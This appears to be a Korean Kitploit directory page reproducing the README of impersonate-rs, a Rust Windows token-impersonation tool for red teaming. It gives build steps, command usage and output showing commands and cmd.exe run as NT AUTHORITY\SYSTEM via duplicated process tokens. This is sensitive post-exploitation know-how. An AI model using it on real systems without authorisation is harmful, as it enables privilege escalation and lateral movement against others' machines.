Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
impersonate-rs — Rusty Impersonate | Kitploit
도구/GitHubGitHub/zblurx/impersonate-rs
Privilege EscalationExploitationImpersonation ToolsLateral MovementPost-ExploitationPenetration TestingRed Teaming
GitHubzblurx/impersonate-rs

impersonate-rs

Rusty Impersonate

저장소 보기
1071410개월 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

IRS (Impersonate-RS)

💡 IRS는 https://github.com/zblurx/impersonate-rs의 라이브러리 버전입니다. zblurx

Defte의 Impersonate를 순수 Rust로 다시 구현한 것입니다. 자세한 내용은 이 블로그 게시물을 참조하세요.

토큰 가장 방식은 Defte Impersonate와 약간 다릅니다. 여기서는 Primary Token을 가장하려는 PID를 선택해야 하며, 그러면 irs.exe가 다음을 수행합니다:

  1. 토큰을 복제합니다.
  2. 명명된 파이프를 생성합니다(명령 실행 출력을 얻기 위해).
  3. CreateProcessWithTokenW를 통해 대상 토큰으로 명령을 실행하고 결과를 명명된 파이프로 출력합니다.
  4. 명명된 파이프에서 명령 출력을 수집합니다.
  5. 명령 출력을 표시합니다.

이 접근 방식을 사용하면 관리자 권한만 있으면(NT SYSTEM은 필요 없음) 대상 컴퓨터의 모든 사용자를 가장할 수 있으며, GUI 유무와 관계없이 사용할 수 있습니다.

요약

  • 빌드
  • 사용법
    • 가장할 프로세스 나열
    • 명령 실행
    • 프로세스 생성
    • 라이브러리 예제
  • 데모

빌드

root@kitploit:~
# Build it from docker
git clone https://github.com/zblurx/impersonate-rs
cd impersonate-rs
make release

# Or from cargo in your host
make windows

# or
# 32 bits
RUSTFLAGS="--remap-path-prefix $$HOME=~" cargo build --release --target i686-pc-windows-gnu
# 64 bits
RUSTFLAGS="--remap-path-prefix $$HOME=~" cargo build --release --target x86_64-pc-windows-gnu

# Build documentation
cargo doc --open --no-deps

# More information
make help

사용법

정적 바이너리처럼 사용:

root@kitploit:~
PS C:\Users\maldev\Desktop> .irs.exe --help
IRS (Impersonate-RS) It's a windows token impersonation tool written in Rust. zblurx <https://twitter.com/_zblurx>

Usage: irs.exe <COMMAND>

Commands:
  list   List all process PID available to impersonate Tokens
  exec   Execute command line from impersonate PID and get output
  spawn  Spawn new process from impersonate PID
  help   Print this message or the help of the given subcommand(s)

Options:
  -h, --help  Print help

list

list 명령은 프로세스와 해당 세션 ID, 토큰 유형 및 연결된 사용자를 나열합니다.

root@kitploit:~
PS C:\Users\maldev\Desktop> .\irs.exe list 

[winlogon.exe                    ] [PROCESS: 624  ] [SESSION: 1 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[lsass.exe                       ] [PROCESS: 672  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[svchost.exe                     ] [PROCESS: 780  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[fontdrvhost.exe                 ] [PROCESS: 788  ] [SESSION: 0 ] [TYPE: Primary] [Low   ] [USER: Font Driver Host\UMFD-0     ]
[fontdrvhost.exe                 ] [PROCESS: 796  ] [SESSION: 1 ] [TYPE: Primary] [Low   ] [USER: Font Driver Host\UMFD-1     ]
[svchost.exe                     ] [PROCESS: 888  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE RÉSEAU  ]
[svchost.exe                     ] [PROCESS: 948  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[dwm.exe                         ] [PROCESS: 412  ] [SESSION: 1 ] [TYPE: Primary] [System] [USER: Window Manager\DWM-1        ]
[svchost.exe                     ] [PROCESS: 460  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[svchost.exe                     ] [PROCESS: 696  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL   ]
[REDACTED]
[svchost.exe                     ] [PROCESS: 836  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL   ]
[svchost.exe                     ] [PROCESS: 908  ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL   ]
[svchost.exe                     ] [PROCESS: 1060 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL   ]
[svchost.exe                     ] [PROCESS: 1088 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\SERVICE LOCAL   ]
[svchost.exe                     ] [PROCESS: 1124 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]
[svchost.exe                     ] [PROCESS: 1176 ] [SESSION: 0 ] [TYPE: Primary] [System] [USER: AUTORITE NT\Système         ]

List example

exec

exec 명령은 pid 인수의 대상 프로세스 ID를 열고, 해당 토큰을 복제한 다음 새 토큰으로 명령을 실행합니다.

root@kitploit:~
X:\>whoami
adcs1\administrator

PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command whoami
[2025-10-13T20:59:42Z INFO  irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM
nt authority\system

PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --command "whoami /all"
[2025-10-13T20:59:42Z INFO  irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM

USER INFORMATION
----------------

User Name           SID
=================== ========
nt authority\system S-1-5-18


GROUP INFORMATION
-----------------

Group Name                             Type             SID          Attributes
====================================== ================ ============ ==================================================
BUILTIN\Administrators                 Alias            S-1-5-32-544 Enabled by default, Enabled group, Group owner
Everyone                               Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users       Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
Mandatory Label\System Mandatory Level Label            S-1-16-16384


PRIVILEGES INFORMATION
----------------------

Privilege Name                  Description                                   State
=============================== ============================================= ========
SeAssignPrimaryTokenPrivilege   Replace a process level token                 Disabled
SeIncreaseQuotaPrivilege        Adjust memory quotas for a process            Disabled
SeTcbPrivilege                  Act as part of the operating system           Enabled
SeSecurityPrivilege             Manage auditing and security log              Disabled
SeTakeOwnershipPrivilege        Take ownership of files or other objects      Disabled
SeLoadDriverPrivilege           Load and unload device drivers                Disabled
SeProfileSingleProcessPrivilege Profile single process                        Enabled
SeIncreaseBasePriorityPrivilege Increase scheduling priority                  Enabled
SeCreatePermanentPrivilege      Create permanent shared objects               Enabled
SeBackupPrivilege               Back up files and directories                 Disabled
SeRestorePrivilege              Restore files and directories                 Disabled
SeShutdownPrivilege             Shut down the system                          Disabled
SeDebugPrivilege                Debug programs                                Enabled
SeAuditPrivilege                Generate security audits                      Enabled
SeSystemEnvironmentPrivilege    Modify firmware environment values            Disabled
SeChangeNotifyPrivilege         Bypass traverse checking                      Enabled
SeUndockPrivilege               Remove computer from docking station          Disabled
SeManageVolumePrivilege         Perform volume maintenance tasks              Disabled
SeImpersonatePrivilege          Impersonate a client after authentication     Enabled
SeCreateGlobalPrivilege         Create global objects                         Enabled
SeTrustedCredManAccessPrivilege Access Credential Manager as a trusted caller Disabled

Exec example

spawn

spawn 명령은 선택한 pid의 토큰을 복제하고, 복제된 토큰을 사용하여 새 프로세스를 실행합니다.

root@kitploit:~
PS C:\Users\maldev\Desktop> .\irs.exe exec --pid 708 --binary "C:\Windows\System32\cmd.exe"
[2025-10-13T20:59:42Z INFO  irs::impersonate::exec] Impersonate user NT AUTHORITY\SYSTEM

Spawn example

library

또는 Rust 프로젝트에서 다음과 같이 직접 사용하세요:

Cargo.toml:

root@kitploit:~
[dependencies]
irs = { path = "/data/02-GIT/github/impersonate-rs/", version = "1.0.0" }

또는 GitHub 저장소를 사용하는 방법:

root@kitploit:~
[dependencies]
irs = { git = "https://github.com/g0h4n/impersonate-rs", version = "1.0.0" }

main.rs:

root@kitploit:~
use irs::*;

fn main() {
    // List process
    impersonate::privileges::enabling_sedebug().expect("[!] Failed to run enabling_sedebug()");
    token::enum_token().expect("[!] Failed to run enum_token()");
}

사용 가능한 모든 함수를 보려면 다음 명령을 사용하여 Rust 문서를 여세요.

root@kitploit:~
cargo doc --open --no-deps

데모

기여자

g0h4n 님께 저장소에 대한 기여(라이브러리화, 색상 추가, 코드 정리 등)에 깊은 감사를 드립니다.

도구 다운로드